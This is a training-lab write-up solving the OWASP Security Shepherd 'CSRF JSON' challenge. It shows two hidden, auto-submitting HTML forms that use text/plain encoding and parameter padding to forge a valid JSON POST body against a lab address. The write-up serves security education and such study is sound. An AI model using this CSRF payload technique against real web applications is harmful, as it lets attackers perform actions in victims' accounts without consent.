OWASP Security Shepherd Project - CSRF JSON (CSRF Challenge)

Challenge

Solution

     In this challenge, we need to send the userId in JSON format. By googling, there is a nice blog(Open Security Research) showing us how to make a JSON format payload via POST form.
     We could still try by ourselves first. Try making the form as the followings:
<form name="evilForm" action=" https://192.168.1.5/user/csrfchallengejson/plusplus" method="POST" enctype="text/plain"> 
    <input type="hidden" name='{"userId":637e8d2e65542fe82fe6da3b0356bc0865b0b791}' /> 
    <input type="submit"/>   
</form>
<script>document.evilForm.submit();</script>
 
     We get an error message! Let's see what HTTP request do we send.


    By the graph above, we know that we should find a way to eliminate the '=' at the end of payload.
What if we make it as the followings:
<form name="evilForm" action=" https://192.168.1.5/user/csrfchallengejson/plusplus" method="POST" enctype="text/plain"> 
    <input type="hidden" name='{"userId":"637e8d2e65542fe82fe6da3b0356bc0865b0b791","' value='":"end"}'>
    <input type="submit"/>   
</form>
<script>document.evilForm.submit();</script>

    By combing the yellow parts, we will have {"userId":"637e8d2e65542fe82fe6da3b0356bc0865b0b791","":"end"} and it is a correct JSON format!
 
  

Reference

Open Security Research - JSON CSRF with Parameter Padding:
http://blog.opensecurityresearch.com/2012/02/json-csrf-with-parameter-padding.html